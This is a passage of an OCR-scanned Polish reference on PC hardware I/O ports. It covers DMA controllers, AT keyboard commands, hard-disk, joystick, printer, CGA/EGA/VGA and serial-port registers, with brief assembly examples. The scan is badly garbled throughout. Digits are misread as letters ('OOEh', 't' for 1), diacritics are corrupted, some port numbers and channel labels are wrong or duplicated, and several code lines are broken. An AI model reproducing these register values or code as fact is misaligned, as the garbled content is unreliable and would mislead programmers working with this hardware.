adresów bazowych do operacji DMA. UzupeMienle tych adre- sów znajduje się w rejestrac stron DMA (porty 80h-8fh). / OOOh Zapis: Adres bazowy 0 kanatu DMA Odczy(: Bieżšcy adres 0 kanału DMA / 001 h Zapis: Adres bazowy 0 kanału DMA Odczyt: Bieżšcy adres i licznik s)ów 0 kanału DMA / 002h Zapis: Adres bazowy 1 kanału DMA Odczyt: Bieżšcy adres 1 kanału DMA / 003h Zapis: Adres bazowy 1 kanału DMA Odczyf: Bieżšcy adres i licznik słów 1 kanału DMA / 004h Zapis: Adres bazowy 2 kanatu DMA (Napęd stacji dysków) Odczyt: Bieżšcy adres 2 kanału DMA / 005h Zapis: Adres bazowy 2 kanału DMA Odczy(: Bieżšcy adres i licznik słów 2 kanalu DMA / OOEh Zapis: Adres bazowy 3 kanału DMA(Dysk twardy) Odczyt: Bieżšcy adres 3 kanału DMA / 007h Zapis: Adres bazowy 3 kanału DMA Odczyt: Bieżšcy adres i licznik słów 3 kanału DMA / 008h-OOfh Rejestry kontrolne DMA. / 008h Zapis: Rejestr polecer5 DMA. Znaczenie poszczególnych bitów jest następujšce: 7 6 5 4 3 2 1 0 L 0:1=Zezwala na DMA typu pamięć-pamięć(kanalt<=>kanal0) 1:1=Wtšcza zatrzymanie adresu kanatu 0 2:t=Wylšczakontroler 3:1=Wybiera tryb skompresowanego czasowo przesylania 4:1=Wlšcza rotację priorytetów 5:t=Wybiera rozszerzonytrybzapisu; 6:1=Wysoka czuloœt DRQ ; ţniska czuloœć DRQ 7:1=Wysoka czuloœć DACK ; 0=niska czuloœć DACK / Odczyt: Rejestr stanu DMA: 7 6 5 4 3 2 1 0 0-3:Kanaly 0-3 osišgnęly limit sfów. 4-7:Oczekiwanie išdad kanalów 0-3 / 009h Zapis: rejestr żšdari 7 6 5 4 3 2 1 0 nieużyw I I 0-t:Wybierzkanal(00=0;01=1;1ţ2;1t=3) 2:1=Ustaw bit išdania dla kanalu ţZeruj bit żšdania dla kanalu / OOah Zapis: Rejestr pojedynczej maski dla kanału. 126 7 6 5 4 3 2 1 0 nieużyw 0-1:wybien kanat (00=0; Ot=t ;10=2;11=3) 2:t=uslaw maskę dla kanału ţczyœE maskę (odblokuj kanał) / OObh Zapis: Rejestr trybu. 7 6 5 4 3 2 1 0 0-t : Wybien kanał (00=0; 01=1;10=2;11=3) ; :g r 2-3:Typ pnesyłania (00=weryfikacja;01=Zapis;l 0=Odczyl) 4:1=Umchamia autoůinicjację. 5:1=Inkremenlacja 0=dekrementacja adresów 6-7:00=Irybżadania;01=pojedynczy;10=blok;t1=kaskada / OOch Zapis: Likwiduje 16-bitowe Przesyłanie danych. Po jakimkolwiek zapisie do tego portu dane przesyłane będš w kolejnoscl młodszy bajt , starszy bajt, młodszy bajt itd. / OOdh Zapis: Ogólne zerowanie. Każda instrukcja Out Od,x powoduje wyczyszczenie rejestrów kontrolnych DMA. Muszš być one potem zainicjalizowane na nowo. Odczţ: Rejestr tymczasowţ, w którym przechowywany jest ostatni bajt z ostatniego prze- syłanla typu Pamlęć - Pamlęć. / OOeh Zapis: Czyœci rejestr masek. Każda instrukcja Out Oeh,x powoduje udostępnienie wszyst- kich czterech kanałów DMA. / OOfh Zapis: Rejestr zmiany masek. Czyœci lub ustawia maskę dla kanału DMA. 7 6 5 4 3 2 1 0 0:1=maskujkanał0;0=odblokujkanał0 1:1=maskuj kanał 1; 2:1=maskuj kanał2; . Ž 3:1=maskuj kanał3; / Odczyt: Rejestr tymczasowy, w którym przechowywany jest ostatni bajt z ostatniego przesyłania ty- pu Pamięć - Pamlęć. / 081 h-08fh Rejestry stron DMA. Kompletny 20 bitowy adres dla kanału otrzymuje się jako pofšczenie rejestru strony tego kanału (4-blty) z rejestrem adresów bazowych (16-bitowy - patrz porty OOh - 07h). / 081 h Rejestr stron kanału 2 (DMA napędu stacji dysków) / 082h Rejestr stron kanału 3 (DMA dysku twardego) / 083h Rejestr stron kanalu 1 ..-ţ DMA w komputerach AT DMA w komputerach klasy AT zachowuje kompatybilnoœć z DMA PC XT. Dzięki zastosowaniu drugiego kontrolera 8237A sšjeszcze 4 dodatkowe 16-bitowe kanały.Pod spodem wypisane sš dodatkowe funkcje dla DMA AT. ţ, , Dodatkowe informacje o portach DMA w AT: / 081 h-08fh Rejestry stron DMA. W komputerach AT uż a się wszystkich 8 bitów rejestrów stron. W zwišzku z tym przestrzeri adresowa AT A jest 24 bitowa (16 MB). / 081 h Rejestr stron kanału 2 DMA dyskietek) / 082h Rejestr stron kanału 3 (DMA dysku twardego) / 083h Rejestr stron kanału 1 / 087h Rejestr stron kanału 0 / 089h Rejestr stron kanału 6 (bity 17-23) / 08bh Rejestr stron kanału 5 bity 17-23) / 08ah Rejestr stron kanału 7 bity 17-23) / 08fh Odœwieżanie. / OcOh-Odfh Rejestry adresów bazowych AT DMA. Kanały 0-3 pracujš tak jak w XT w trybie 8-bitowego wejœcia/wyjœcia. Kanały 4-7 pracujš w trybie 16-bitowym tzn. wszystkie adresy i liczniki przesłanyeh danych odnoszš się do słów nie do bajtów. Tak więc jeœli w rejestrze bazowym kanału znajduje się watoœć 4321 h to znaczy, że chodzi o offset 8642h w stosunku do aktualnej strony tego kanału. / OcOh Zapis : adres bazowy kanału 4 (16-bitowy) Odczyt: bieżšcy adres kanału 4 / Oc2h Bieżšcy licznik słów kanału 4 / Oc4h Zapis : adres bazowy kanału 5 (16-bitowy) Odczyt: bieżšcy adres kanału 5 / Oc6h Bieżšcy licznik słów kanału 5 / OcBh Zapis : adres bazowy kanału 6 (16-bitowy) Odczyt: bieżšcy adres kanału 6 / Ocah Bieżšcy licznik słów kanału 6 / Occh Zapis : adres bazowy kanału 5 (16-bitowy) Odczyt: bieżšcy adres kanału 5 / Oceh Bieżšcy licznik słów kanału 5 / OdOh-Odfh Rejestry kontrolne DMA / OdOh Zapis: Rejestr poleceri DMA. Odczyt: Rejestr stanu DMA. Patrz opis portu 08h. ' / Od2h Zapis: Rejestr żšdari. Patrz opis portu 09h. / Od4h Rejestr pojedynczej maski dla kanału. Patrz opis portu OAh. / Od6h Zapis: Rejestr trybu. Patrz opis portu O Bh. / OdBh Patrz opis portu OCh. / Odah Zapis: Ogólne zerowanie. Odczyt: Rejestr tymczasowy. Patrz opis portu ODh. / Odch Czyszczenie rejestru masek. Patrz opis portu OEh / Odeh Zapis: Rejestr zmiany masek kanału. Patrz opis portu OFh Opis klawiatury AT Komputery klasy AT posiadajš programowalnš klawiaturę wraz ze złšczem Intel 8042. Klawiatura ta pozwala na ustawianie prędkoœci powtarzania klawiszy, czy zmianę programowš œwiateł Num Lock,Caps Lock i Scroll Lock. Port 60h jest zachowany dla kompatybilnoœci ze starszymi modelami klawiatur. Jeœli przyktady podane dla portu 64h nie będš działać dla Twojej klawiatury, to spróbuj wykonywać je dla portu 60h. Niektóre z rozkazów klawiatury wymagajš podania danych. W takim 128 wypadku najlepiej przesłaE rozkaz, odczekać jakiœ czas i przesłaE dane. Może to być zrealizowane na przykład przez następujšešsekwencję instrukcji: mov al kod rozkazu out 64R al mov cx 2000h ; Około l Oms czekaj: loop ćzekaj mov al,dane out 64H,al / Kod Opis / OffH Inicjalizacja klawiatury i wewnętrzne sprawdzanie poprawnoœci. / OfeH Powfórzenie ostatniej transmisji. / OfdH-0f7H Nie używane. / Of6H Przywrócenie stanu poczštkowego klawiatury. / OfSH Przywrócenie stanu poczštkowego klawiatury i zablokowanie klawiatury. / Of4H Odblokowanie klawialury. / Of3H Ustawia szybkoœć powfórzeri i opóŸnienia (Czasu przed zaczęciem powtarzania) dla kla- wiatury. Po przesłaniu tego rozkazu należy przesłać dane według poniższego formatu. 7 6 5 4 3 2 1 0 0 Op. II. powt. bity 0-4 Szybkoœb powtbneri klawiszy. Patn niżej bity 5-6 ustawiaja opóŸnienie. 00=250ms;01=500ms;10=750ms;11=l000ms bit 7 jest zawsze rbwny 0. Szybkoœć powfarzania klawiszy na sekundę jest ustawiana następujšco: 0 = 30.0 OaH =10.0 1= 26.7 OdH = 9.2 2 = 24.0 l OH = 7.5 4 = 20.0 14H = 5.0 8 =15.0 1fH = 2.0 Poczštkowo klawiatura jest ustawiona tak, iż zaczyna powtarzanie klawiszy po ll2 sekundy i powtarza w tempie 10 na sekundę. / Of2H-OefH Nie używane. / PeeH Echo. Stosowane do testowania klawiatury, która w odpowiedzi na ten rozkaz powinna przesłać z powrotem wartoœć Oeeh. Testowanie poprawnoœci klawiatury może się odbywać więc w następujšcy sposób: mov al,0eeh out 64,AL mov cx,200h czekaj: loop czekaj in AL, 64h cmp AL,Oeeh jne KLAWIATRURAţDO D\ / OedH Zapalanie I Gaszenie œwiateł 'LED' oznaczajšcych stan przełšczników. Po przesłaniu tego rozkazu należy jeszcze przesłać dane zgodnie z poniższym formatem: 7 6 5 4 3 2 1 0 nieużyw C N S 1=Scroll Lock zapalony. ţ 1=Num Lock zapalony. 1=Caps Lock zapalony. Bity 0-3 odpowiadajš bitom 4-6 zmiennej 0:0418h. Dobrym zwyczajem jest abyœ zawsze dbał o to, żeby zapalone œwiatło odpowiadało faktycznemu stanowi klawiatury. Tak więc przesłanie tego rozkazu powinno byE zawsze polšczone ze zmianš odpowiednich bitów zmiennej 0:0418h i odwrotnie. Porty dysku twardego XT Poniżej znajduje się opis portów kontrolera dysku twardego dla komputerów PC XT. Po każdej operacji na dysku (czytanie, zapis, szukanie ...) kontroler generuje przerwanie sprzętowe na poziomie 5 (IRQ 5). Przepisanie to jest przyporzšdkowane przerwaniu Odh BIOS-u. Przerwanie Odh blokuje DMA dysku twardego. / Port Opis / 320H Rejestr danych. Zapis: Zawsze przesyłany jest cišg do 5 bajtów oznaczajšcych głowicę,cylinder,sektor i bajt rozkazu. Odczył: Opis błędu zaznaczonego przez bit 1 portu 321 h. Po dokładny opis sięgnij do opi- su technicznego swojego komputera. / 321 h Zapis: Wysłanie 0 do tego portu powoduje zerowanie kontrolera dysku twardego Odczył:Rejestr stanu kontrolera. 7 6 5 4 3 2 1 0 m b 5: Miejsce wystţpienia (0-pierwszy dysk lwardy 1-drugi) / 322H Zapis: Wysłanie jakiejkolwiek wartoœci do tego portu powoduje odblokowanie kontrolera. Należy tego używać przed wysłaniem rozkazu do kontrolera / 323H Zapis: Rejestr masek DMA i przenvari. 7 6 5 4 3 2 1 0 nie używane p d ţ 0: t=Zezwala na DMA 1:1=Zezwala na przerwanie (IRQ 5) po wykonaniu rozkazu. Porty dysku twardego AT Kontroler dysku twardego w komputerach AT znajduje się na tej samej karcie, co kontroler stacji dyskietek. Jego porty wejœcialwyjœcia i rozkazy sš inne niż w komputerach XT. Kontroler dysku twardego AT #1 ma przyporzšdkowane porty lfOh-1f7h Kontroler dysku twardego AT #2 ma przyporzšdkowane porty 170h-177h Kontroler dysku twardego wywołujš przerwanie sprzętowe IRQ 14 po każdej operacji na dysku. IRQ 14 odpowiada i przerwanie 76h, które ustawia bit w zmiennej 0:048eh oznaczajšcy, że dysk twardy pracuje. Opis portów dysku twardego #1 w komputerze AT jest przedstawiony pod spodem. Porty drugiego dysku twardego ustawione sš analogicznie. / Port Opis / lfOH Rejestr Danych: OdczytujelZapisuje dane do bufora dysku. ‹ţ: / 1f1 H Zapis: Rejestr Prekompensacji zapisu. Włšcza prekompensację. Odczyt: Rejestr błędu. Zawiera znaczenie ostatniego błedu. 7 6 5 4 3 2 1 0 00__ 0: Blšd dostępu do danych. 1: Btšd zerowej œcieżki. 2: Polecenie zostało przerwane. 4: Nie znaleziono identyfikatora sektora. 6: Bfšd ECC. 7: Zły blok. / lf2H Licznik sektorów dla operacji odczytu/zapisu. / lf3H Logiczny numer poczštkowego sektora dla operacji odczytu/zapisu . / lf4H Numer cylindra(bity 0-1 odpowiadajš bitom 8-9 w numerze cylindra). / lfSH Numer cylindra (bity 0-710-bitowego numeru cylindra). / lf6H Numer napędu i głowicy dla operacji zapisu/odczytu. / lf7H Zapis: Rejestr rozkazu Lista rozkazów: (Skrót, po pełny opis siegnij do opisu technicznego swojego komputera lub do [1)). 1 xH = ustaw na cylinder 0 7xH = szukaj cylindra o numerze w 1 f4 2xH = Czytaj sektor 3xH = Zapisz sector 50H = Formatuj œcieżkę 4xH = Weryfikuj 90H = SprawdŸ poprawnoœć dysku 91 H = Ustaw parametry (Liczba głowic, sektorów) dla napędu Odczyf: Rejestr stanu. 7 6 5 4 3 2 1 0 0:1=poprzedni rozkaz zakończyf się bfędem. 1: Znaleziony indeks. 2: Dane poprawne; znaleziono blšd, ale został naprawiony 3: Bufor czeka na dane 4:Szukaniezakończone. 5: Zapis bl‡dny 6: Napęd gotowy na odczyt, zapis ,szukanie 7:1=Sterownikzajęty, wykonuje rozkaz. Porty Joysticka Port 201 h jest przyporzšdkowany karcie GAME lub joystickowi. Funkcja 84h przerwania 15h umożliwia łatwe użycie tych kart84 H. Bit przekazywany przez IN z portu 201 hma następujšce znaczenie. 7 6 5 4 3 2 1 0 B2 B1 A2 A1 By Bx Ay Ax Koordynaty Przyciski Odczyt przycisków joysticka może odbywać się w sposób następujšcy: 131 mov dx,201h out dx,al;Inicjalizacja, w al moze byc dowolna wartosc in al,dx;Przeczytaj bity 4-7,0=nacisniety,l=zwolniony W inny sposób można sprawdzać wartoœci koordynat. mov dx,201H out dx,al ;Inicjalizacja mov cx,-1 ;zapoczatkuj licznik petla inal,dx ;Odczytaj koordynaty inc cx ; Zwieksz licznik test al 1 ;Jesli bit 0 ustawiony to joystick jest w dole jnz petla ;Petla do momentu, aż bit 0 bedzie wyzerowany. OpóŸnienie w rejestrze CX będzie okreœlało na ile joystick jest przesunięty w dóf. Zwróć uwagę, że sposób ten jest doœć kłoptliwy bowiem zależy od prędkoœci procesora, zależnoœci czasowych itd i dla każdego komputera wartoœci te mogţ być inne. Dlatego w wielu grach używajšcych joysticka na poczštku dokonuje się tak zwanej rekalibracji ustawiajšcej odpowiednie parametry. Porty Drukarki ROM-BIOS ma okreœlone trzy porty równoległe dla drukarek okreœlane jako LPT1-LPT3. Podczas POST BIOS testuje trzy porty drukarek w kolejnoœci: 1) 3bcH Port karty monochromatycznejldrukarki (0 ile jest taka karta) 2) 378H Port równoległej drukarki #1 3) 278H Port równoległej drukarki #2 I przyporzšdkowuje portom odpowiednio nazwy LPT1..., W zmiennych 0:0408hznajdujš się adresy portów im odpowiada- jšcym. Przerwanie 17h przewiduje obsługę do 4 równoległych drukarek. Aby dodać czwartš drukarkę musisz samodzielnie umieœcić adres jej portu w zmiennej 0:0410h. Możesz łatwo oszukiwać system, zamieniajšc drukarki. Przykładowa zamiana LPT1 i LPT2 może wyglšdać w sposób następujšcy: xor ax , ax mov ds , ax mov si,0408H ;poczatek obszaru tablic drukarek - 0:0408 mov ax,[si) ;pobiera adres LPT1 xchg ax,[si+2) ;zamienia z adresem LPT2 mov [si],ax ;stary adres LPT2 zapamietuje jako LPT1 Pod spodem opisane sš porty równoległej drukarki #1. Porty pozostałych drukarek sš analogiczne. / Port Opis / 378H Dane dla drukarki Zapis: Wysyła bajt do drukarki. Odczyt: Zawiera ostatnio wysłany bajt. / 37aH OdczyVZapis: Rozkazy drukarki. 7 6_ 5 4 3 2 1 0 0 0 0 Lţ 0: +Slrobe (pin 1); 1= Pnesyfany bajt 1: +AUTO LineFeed (pin 14);1= aulomalyczne CR po LF 2: INIT /pin 16); 0 =inicjuje drukarkę 3: +SLCT IN (pin 17); t =Wfaczenie drukarki 4: +IRQ Dozwolonel (sp2ęlowe p2erwanie w przypadku braku golowoœci na następny znak) LPT1 IRQ 7 (Przerwanie OIH) LPT2 IRQ 5 (Przerwanie OdH) / 379H Tylko do odczytu: Stan drukarki 7 6 5 4 3 2 1 0 0 0 0 3: -ERROR (pin t 5) 0=drukarka sygnalizuje blad 4: +SLCT (pin 13) t =drukarka wlaczona 5:+PE(pin t2) 1=brakpapieru 6: -ACK (pin 10) 0=Gotowa na następny znak 7: -BUSY (pin 11 ) 0=Zajęta lub wyţczona, lub blad Porty cGA Karta CGA (Color Graphics Adapter)jest oparta na sterowniku CRT 6845 firmy Motorola. CGA ma w systemie porty 3dOh - 3dfh (wykorzystuje porty 3d2h-3dch). Porty te sš zgodne (z pewnymi wyjštkami) z portami EGA w celu zachowania póŸniejszej kompatybilnoœci. BIOS pamięta wartoœci niektórych portów CGA w odpowiednich zmiennych systemowyeh. Jeœli chcesz zmienićjakiœ bit w tych portach to powinieneœ: odczyiać odpowiednišzmiennš, ustawić bit , wykonać OUT i zachować nowš wartoœć w zmiennej. / Port Opis / 3d4H Zapis: Kontroler wyboru rejestrów. Jeœli chcesz korzystać z jednego z 18 rejestrów CRTC, to musisz wykonać OUT 3d4h,numer rejestru i odezytać albo zapisać wartoœć z portu 3d5h. W karƒe CGA jest 18 rejestrów CGA ich numery sš następujšce. Oh: Czasy synchronizacji poziomej. 1 h: Iloœć znaków w wierszu. 2h: Pozioma pozycja synchronizacyjna -przesuwanie obrazu w w prawollewo. 3h: Szerokoœć synchronizacji pionowej i poziomej (4 bity każda). 4h: Iloœć lin w pionie. 5h: Odœwieżanie 50 lub 60Hz. 6h: Iloœć wyœwietlanych lin. 7h: Pionowa pozycja synehronizacyjna - przesuwanie obrazu w góręldói. ţr 8h: Tryb przeplotu (bity 4 i 5) i skoœny (bity 6 i 7). 9h: Iloœć lin w jednym znaku. OAh: Wyœwietlanie kursora. OBh: Schowanie kursora. OCh: Start pamięci video aktualnej strony (górny bajt). ODh: (dolny bajt) OEh: Adres kursora (górny bajt). OFh: (dolny bajt) 10h: Adres pióra œwietlnego (górny bajt). 11 h: (dolny bajt) Pierwsze 16 z tych rejestrów jest pamiętane w tablicy parametrów ekranu (patrz przerwanie 1 dh). / 3d5H Rejestry kontrolera CRT . Po wybraniu odpowiedniego rejestru odwoianiem do portu 3d4h w tym porcie możesz korzystać z jego zawartoœei. / 3d8H Zapis:Rejestr wyboru trybu (BIOS trzyma tš wartoœć w zmiennej 0:0465) 0: szerokoœć(tryb tekstowy): 0=40 kolumn;1=80 kolumn t :1=Tryb graficzny; ţtryb tekstowy 200'300 2:1=Kolory na monitorze 0=obraz monochromatyczny. 3:1=Wtaczony sygnat video 0=wytaczony sygnat video 4: rozdzielczoœE: 0=320'2001=640'200 5: 0=wytaczone migotanie 1=wytaczone migotanie ( W trybie tekstowym- okreœlane przez 7 Mt atrybutu) / 3d8H Zapis: Rejestr wyboru koloru 7 6 5 4 3 2 1 0 b i I R G B ţ ţ 0-3: kolory i intensywnoœE (Red Green Blue). 4: altematywna paleta intensywnych kdorEw. 5: 0=paleta 0; t =paleta 1. / 3daH Odczyt: Rejestr stanu 7 6 5 4 3 2 1 0 0: t =Wyœwietlanie bez zaklóceri. 1:1=Właczony pnelacznik piEra œwietlnego. 2:1=Pióro œwietle wtaczone. 3:1=Synchronizacja pionowa wišczona. Modytikacja ekranu nie powoduje œnieżenia. / 3dbH Jakikolwiek OUT wyłšcza pióro œwietlne / 3dcH Jakikolwiek OUT wlšcza pióro œwietlne Porty EGA Karta EGA (Enhanced Graphics Adapter) jest kompatybilna w górę z kartš CGA przy użyciu BIOS-u. EGA jest o wiele bardziej złożona na poziomie sprzętowym, ale ma możliwoœć emulacji większoœci rejestrów i operacji CGA. Tabelka poniżej będzie zawierała tylko rozszerzenia w stosunku do CGA. EGA składa się z czterech częœci: Sterownika CRT,sekwencera,modulu grafiki i sterownika atrybutów. Karcie tej sš w systemie przyporzšdkowane następujšce porty: EGA #1 porty 3cOh do 3dfh EGA #2 porty 2cOh do 2dfh EGA generuje przerwanie sprzętowe o poziomie 2(IRQ 2) podczas odtwarzania jest ono przyporzšdkowane przerwaniu BIOS-u OAh. / Port Opis / 3cOh Zapis: Sterownik atrybutów(ATC) Wykorzystanie: Jeœli chcesz korzystać z te o sterownika powinieneœ wykonać następu šce o eracje: IN a 3da H aby o res ic tryb adresowania. OUT 3c ÓH,numer rejestru ; wybierz rejestr ATC OUT 3c OH,wartosc , przeslij dane do rejestru ATC Przy wyborze rejestru bity 0-4 oznaczajš numer rejestru bit 5:1= efekty na ekranie 0= tylko ustawienie rejestru. I, Po wyborze rejestru należy jeszcze przesłać dane do rejestru zgodnie z następujšcym formatem: Rţj ATC Opis danych 00-Ofh Rejestry palet: wybierajš kolor dla tego atrybutu. '; Opis bajtu znajduje się poniżej. Kolory pisane z wielkiej litery oznaczajš intensywnoœć 2/3, z małej 1/3. 7 6 5 4 3 2 1 0 0: Czerwony 1: Zielony 2: Niebieski 3: Nlebieski (emulacja MDA-podkreœlenie) 4: Zielony (emulacja CGA -intensywnoœć) 5: Czerwony rejestr trybu 7 6 5 4 3 2 1 0 0:1=tryb graficzny, 0=tekstowy. t% . 1:1=tryb monochromatyczny 0=tryb kolorowy. 2:1=0 punktów w poziomie na znak 0=9 punkt w poziomie na znaku ma kolor tła 3:1=włšcza migotanie. 11 h wybierz kolor tła taki jak w rejestrze ;rţţ 12h Włšcza poziomy kolorów: 7 6 5 4 3 2 1 0 - ~^ 0-3: Włšczenie poziomu 0-3. 4-5: stan:00 czerwony i niebieski. 01 niebieski i zielony. 02 czerwony i niebieski. 11 nieużywane. Przesuwanie w lewo o n punktów; iloœć punktów do przesunięcia okreœlajš bity 0-3. / 3c2h Zapis: Różne funkcje kontrolne. 7 6 5 4 3 2 1 0 ţ. 0:1=wybien 3BxH (emulacja MDA); 0=wybien 3DxH (CGA) 1: t =wlšcza RAM; 0=wyłacza RAM 2-3: Częstotliwoœć ekranu: 00=14m Hz; O1=16m Hz;10=zewnętnna :i, 4:1=wybierz zewnętnne wyœwietlanie; 0=wybien wbudowane 5: Bit strony dla Irybu panysly/nieparzysly ';ţ` 6: Polaryzacja pozioma 1=lak 0=nie 7: Polaryzacja pionowa 1=tak 0=nie ţ; ţţ ' / 3e4h Zapis: Rejestr adresowy sekwencera / 3c5h Write: Rejestr danych sekwencera Wykonaj najpierw OUT 3c4 H,numer rejestru potem OUT 3c5H,dane Rej.Sekwenc. Opis Danych Reset sekwencera. Bity 0-1 oznaczajš tryb synchroniczny, asynchroniczny 01 tryby częstotliwoœci 135 7 6 5 4 3 2 1 0 0:1=8 punktów na znaků 0=9 punktów na znak 1: szerokoœć pasmo CRT 1=niska; 0=wysoka 2:1=przesuri każdy znak; 0=co drugi znak 3: częstotliwoœć:1=polowa; 0=normalna Bity 0-3 pozwalajš pisać na poziomie 0-3 Wybór mapy znaku: bity 0-1 wybierajš mapę B (3 bit atrybutu =0) bity 2-3 wybierajš mapę A (3 bit atrybutu=1 ) tryby pamięci: 7 6 5 4 3 2 1 0 ţ 0:1=tekstowy generator znaków 0=graficzny 1:1=EGA RAM 64K; 0=64K 2: Okreœla w jaki sposób skonstruowana jest pamięE ekranu: 1 ţekwencyjny; 0=parzysly/nieparzysly (jak CGA) / 3cah Zapis: 2 pozycja graficzna (dla EGA musi być 0) / 3cch Zapis:1 pozycja graficzna (dla EGA musi być 1) / 3ceh Zapis: Rejestr adresu modułu graficznego (GDC) / 3cfh Zapis: Rejesfr danych modułu graficznego (GDC) Wykonaj najpierw OUT 3ceH,numer rejeslru potem OUT 3cfH,dane Rej.GDC Opis danych. Setlreset. bity 0-3 wybierajš poziomy zapisu w trybie 00 01 Wtšcza set/reset Porównanie kolorów. Bity 0-3 wybierajš kolor czytania w trybie 01 wybór funkcji i obrotu dla trybu 00 bity 0-2: usławia licznik obrołu dla trybu 00 bity 3-4: wybór funkcji dla trybów 00 and 02 00=bez zmian; 01=AND;10=OR;11=XOR Wybór mapy- Bity 0-2 wybierajš numer mapy dla trybu zapisu 00. Rejestr trybu 7 6 5 4 3 2 1 0 0-1: Iryb zapisu 0-2 2: sprawdzanie warunku 3: tryb odczytu:l =porównywanie kolorów;0=wprost ţ 4:1=adresowanie RAM panystelniepa2yste 5:1=Używaj mapy CGA œredniej rozdzielczoœci Różne rozkazy graticzne. 136 7 6 5 4 3 2 1 0 0: t=graficzne; t =lekslowe generowanie znaków. ţ 1: t =wfacz mapy parzyste po nieparzyslych. 2: pamięć ekranu. 00=a000H (128K); Ot=a000H (64K) _ t0=b000H (32K MDA);1 t=b800H (32K CGA) Włšczone maskowanie kolorów. Bity 0-3 wyłšczajš porównywanie !ogiczne dla trybu odczy- tu O1 Maskowanie bitów. Bity 0-7 okreœlajš, które bity majš być maskowane na wszystkich pozio- mach. / 3b4h I 3d4h Rejestr adresowy CRT / 3b5h I 3d5h Wewnętrzne rejestry CRT Uwaga: Port 3cOH bit 0 okreœla, który z pary adresów portów jest używany (3bxH sš normalnie przeznaczone dla MDA; 3dxH dla CGA). Najpierw wykonaj OUT 3x4H,numer rejestru potem OUT 3x5H,dane Rej.CRTC Opis Danych 00-11 H Zgadzajš się z rejestrami CRTC karty CGA. Różnice: Zacznij migotanie w poziomie (liczba znaków) Skoricz migotanie w poziomie. Bity 0-4 oznaczajš szerokoœć. Bity 5-6 wtšczajš skos (0 to 3) Zacznij odtwarzanie poziome Skoricz odtwarzanie poziome. 7 6 5 4 3 2 1 0 0-4: szerokoœć odtwarzania 5-6: opóŸnienie odtwarzania 7:1=Zacznij na adresach nieparzystych; 0=panystych Liczba punktów w pionie 8 bit dla ustalonego rejestru CRTC 7 6 5 4 3 2 1 0 0: (CRTC Rejeslr 06h) t : (CRTC Rejeslţ 12h) 2: (CRTC Rejestr 10h) 3: (CRTC Rejeslr 15h) 4: (CRTC Rejestr t Bh) 5: (CRTC Rejestr Oah) Wybiera pierwszš linię do odtwarzania pionowego Zapis: Start odtwarzania pionowego. 11 h Zapis: Koniec odtwarzania pionowego 7 6 5 4 3 2 1 0 ţţţ 0-3: I IoœE linii w odtwananym wierszu 4: 0= Wyłacza przerwanie IRQ2 5: 0= Włacza pnerwanie IRQ2 Koniec wyœwietlania linii w wierszu Wyœwietlanie w pionie centrowane. Umiejscowienie podkreœlenia.Bity 0-5 to numer lin w wierszu Zacznij migotanie pionowe (w wierszu). Skoricz migotanie pionowe. Rejestr trybów. 7 6 5 4 3 2 1 0 0: 0=KompalybilnoœE adresowa z CGA. t :1=9 linii w wierszu 0=8 lin” w wiersm. 2:1=Podwbjna rozdzielczoœE pionowa. 3:1=Używaj zegara l2 przy odœwieżaniu. 4:1=Wysoka impedancja na wyjœciu 5: Tryb nawijania (wrapping mode) adresów 6:1=Adresowanie w bajtach; 0=w sfowach 7: 0=Spnęlowy reset Porównanie lin w wierszu. / 3bah I 3dah Zapis: bity 0-1 sygna FCO i FC1 Odczyf: stan (patrz C A port 3dah) / 3bdh I 3dbh Jakikolwiek OUT wyłšcza pióro œwietlne / 3bch I 3dch Jakikolwiek OUT włšcza pióro œwietlne. Porty VGA Karta VGA (Video Graphics Array) jest kompatybilna w górę z kartami CGA,EGA. Na poziomie sprzętowym odpowiednie porty majš takie znaczenia jak w tamtych kartach. Poniższa tabela przedstawia tylko rozszerzenia w stosunku do karty EGA. Po pełniejszy opis sięgnij do opisu portów EGA i CGA oraz do dokumentacji swojej karty. Port Opis 3c3h Rejestr odblokowania VGA 3c6h Rejestr Maski PEL 3c7h Zapis: Rejestr adresowy PEL dla trybu odczytu Odczyt: Rejestr stanu DAC 3c8h Odczyt: Rejestr adresowy PEL dla trybu zapisu 3c9h Rejestr danych PEL Porty Szeregowe Zmienne systemowe zawierajš listę adresów do 4 portów COM. Podczas POST BIOS testuje i inicjalizuje COM1 iCOM2 COM 1 ma przydzielone porty 3f8H do 3ffH COM2 ma przydzielone porty 2f8H do 2ffH Przerwanie ROM BIOS-u 14h może obsługiwać każde z cztereeh złšcz COM. Jeœli chcesz jednak wykorzystywać COM3 i COM4 to sam musisz umieœcić ich adresy basowe w tabeli portów COMM zaczynajšcej się w 0:0400h. 138 BIOS pozwala na łatwe wywoiywanie przerwari sprzętowyeh w zależnoœci wielu warunków okreœlonych w Rejestrze Przerwar5 (port 3f9h lub 2f9h). COM1 wywofuje przerwanie sprzętowe IRQ 4 ( odpowiada mu przerwanie Och ) _ COM2 wywoluje przerwanie sprzętowe IRQ 3 ( odpowiada mu przerwanie Obh ) / Port Opis / 3f8H Zapis: Rejestr przesyłania danych. 8-bitowy znak do wysłania. Odczyt: Bufor odbioru danych. Ostatnio odebrane 8-bitów. Zapis: (gdy DLAB=1) Dolny bajt Czasu przesyłania. Pozwala na ustawienie prędkoœci trans- misji według następujšcej tabelki: Baud Czas Baud Czas 110 1040 1200 96 150 768 2400 48 300 384 4800 24 '; 600 192 9600 12 / 3f9 H Zapis: Wyższy bit Czasu przesyłania (gdy DLAB=1 patrz port 3fbh) Zapis: Rejestr przerwafi 7 6 5 4 3 2 1 0 0 0 0 0 I L 0:1=Zezwala na pnerwanie gdy odebrano dane 1:1=Zezwala na przerwanie gdy bulor transmitera pusly 2:1=Zezwala na przerwanie stanu lin (blad lub break) 3:1=Zezwala na pnerwanie stanu modemu(CTS,DSR,Rf,RLSD) :ţ / 3faH Odezyt: Rejestr identyfikujšcy przerwanie. Jeœli nastšpi przerwanie sprzętowe, czytaj ten re- jesfr by zorlentować sfę co je spowodowało. ,ţ 7 6 5 4 3 2 1 0 " ; 0:1=Nie wysfapif bldd 1: 00=Pnerwanie stanu linii odbiorcy (patrz port 3fdh) O1=Odbierane dane dostępne (port 3fBH) 10=Bufor transmifera pusly (port 3f8 H) 11=Stan modemu. (port 3teH) ţŸ":, / 3fbH Rejestr kontrolny linii. 7 6 5 4 3 2 1 0 0-1: dlugoœć sfowa 00=5, O1=6,10=7,11=8 bitów 2: bity synchronizacji: ţ1,1=2 3-4: parzystoœć: 00,10=żadna, O1=niep. ţ 11=parz. 5: Generowanie bitu panystoœć 6:1=Zacznij wysyfać spacje 7: DLAB (Divisor Latch Access Bit-bif dostępu) usfala tnlb portów 3IBH and 3t9H. 1=usfaw baud-y. 0=normalny / 3fcH 